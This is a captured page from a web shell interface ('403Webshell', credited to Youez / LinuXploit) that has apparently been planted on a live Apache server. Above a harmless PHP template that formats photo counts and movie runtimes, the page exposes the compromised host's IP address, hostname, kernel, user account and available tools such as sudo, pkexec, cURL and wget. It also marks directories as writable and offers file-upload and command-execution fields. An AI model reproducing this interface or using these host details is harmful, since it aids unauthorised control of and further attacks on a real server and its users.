403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/1-REPLACE-FILE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/1-REPLACE-FILE/photo_movie_counts_short.tpl
<?php
if ( isset($set["info"]["totals"]["types"]["highres"]) ){
	echo $set["info"]["totals"]["types"]["highres"]["count"] . "&nbsp;" . $templatefields["txtPhotos"];
}

if ( isset($set["info"]["movie_length"]) && $set["info"]["movie_length"] > 0 && isset($set["info"]["totals"]["types"]["highres"]) ){
	echo ", ";
}

if ( isset($set["info"]["movie_length"]) && $set["info"]["movie_length"] > 0 ){
	if(isset($hide_labels) && $hide_labels != true) { echo $templatefields["zdtxtruntime"]; }
	if ($set["info"]["movie_length"] < 60)	{
		echo '00:'. floor($set["info"]["movie_length"]);
	} else {
		//echo floor($set["info"]["movie_length"] / 60);
		$movie_length = intval($set["info"]["movie_length"]);
		//$hours = floor($movie_length / 3600);
		//$minutes = floor( ($movie_length / 60) % 60 );
		//$seconds = floor( $movie_length % 60 );
		$seconds = floor($movie_length % 60);
		$minutes = intdiv( $movie_length, 60 ) % 60;
		$hours = intdiv( intdiv( $movie_length, 60 ) , 60);
		if($hours == 0) {} else { echo '0'.$hours.':'; }
		if($minutes == 0) { echo '0'; }
		if($minutes > 0 && $minutes < 10) { echo '0'.$minutes; } else { echo $minutes; }
		echo ':';
		if($seconds == 0) { echo '0'; }
		if($seconds > 0 && $seconds < 10) { echo '0'.$seconds; } else { echo $seconds; }
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit